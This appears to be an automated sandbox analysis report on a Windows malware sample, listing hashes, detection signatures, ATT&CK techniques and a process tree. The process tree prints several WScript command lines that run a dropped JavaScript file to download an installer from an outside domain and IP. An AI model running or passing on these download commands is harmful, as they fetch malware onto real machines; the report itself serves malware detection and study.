ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898

General

Target

ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe
Size

184KB
MD5

7bbc4326d3ec7c5408b3617c728b8b25
SHA1

5676580aaf32285cfdd15757e5428ff4265182c3
SHA256

ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898
SHA512

04203ee0988ce41b57ddd0dc8b8560871e44a8506def017659d0290476fc3b4407c0ebb8e7d4d044c8559f4241c409d07f2eecc4a2e1d1e0b70737ec23ec43bb
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndnF

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 12 IoCs

flow	pid	Process
8	3700	WScript.exe
9	3700	WScript.exe
12	2364	WScript.exe
14	2364	WScript.exe
15	3832	WScript.exe
16	3832	WScript.exe
31	3484	WScript.exe
32	3484	WScript.exe
37	2828	WScript.exe
43	2828	WScript.exe
51	2828	WScript.exe
58	2828	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1840	4868	WerFault.exe	47

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 3700	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	77
PID 4868 wrote to memory of 3700	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	77
PID 4868 wrote to memory of 3700	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	77
PID 4868 wrote to memory of 2364	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	79
PID 4868 wrote to memory of 2364	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	79
PID 4868 wrote to memory of 2364	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	79
PID 4868 wrote to memory of 3832	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	80
PID 4868 wrote to memory of 3832	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	80
PID 4868 wrote to memory of 3832	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	80
PID 4868 wrote to memory of 3484	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	82
PID 4868 wrote to memory of 3484	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	82
PID 4868 wrote to memory of 3484	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	82
PID 4868 wrote to memory of 2828	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	83
PID 4868 wrote to memory of 2828	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	83
PID 4868 wrote to memory of 2828	4868	ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe	83

C:\Users\Admin\AppData\Local\Temp\ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe
"C:\Users\Admin\AppData\Local\Temp\ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
  2⤵
  - Blocklisted process makes network request
  PID:3700
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
  2⤵
  - Blocklisted process makes network request
  PID:2364
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
  2⤵
  - Blocklisted process makes network request
  PID:3832
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
  2⤵
  - Blocklisted process makes network request
  PID:3484
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
  2⤵
  - Blocklisted process makes network request
  PID:2828
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 1328
  2⤵
  - Program crash
  PID:1840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4868 -ip 4868
1⤵
PID:3528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fufFE98.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/2364-134-0x0000000000000000-mapping.dmp

Download
memory/2828-137-0x0000000000000000-mapping.dmp

Download
memory/3484-136-0x0000000000000000-mapping.dmp

Download
memory/3700-132-0x0000000000000000-mapping.dmp

Download
memory/3832-135-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing